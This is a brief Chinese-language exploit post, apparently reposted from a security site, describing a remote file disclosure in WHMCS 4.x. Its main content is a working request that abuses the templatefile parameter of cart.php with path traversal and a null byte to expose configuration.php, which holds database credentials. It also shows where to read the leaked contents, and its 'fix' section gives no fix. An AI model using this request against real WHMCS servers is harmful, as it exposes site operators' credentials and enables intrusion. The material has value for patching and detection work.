作者: R-t33n

产品: WHMCS

开发者: http://whmcs.com/

影响版本: 4.x.x

缺陷类型: Remote , webapps

测试平台windows 2003 , Linux , ubuntu.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

http://www.2cto.com / [ PATH ] /cart.php?a=[wrong value]&templatefile=[File]%00

http://www.2cto.com / [ PATH ] /cart.php?a=alb0zz&templatefile=../../../configuration.php%00

see into the [html] source code for the file disclosure.

www.2cto.com 修复：

你懂得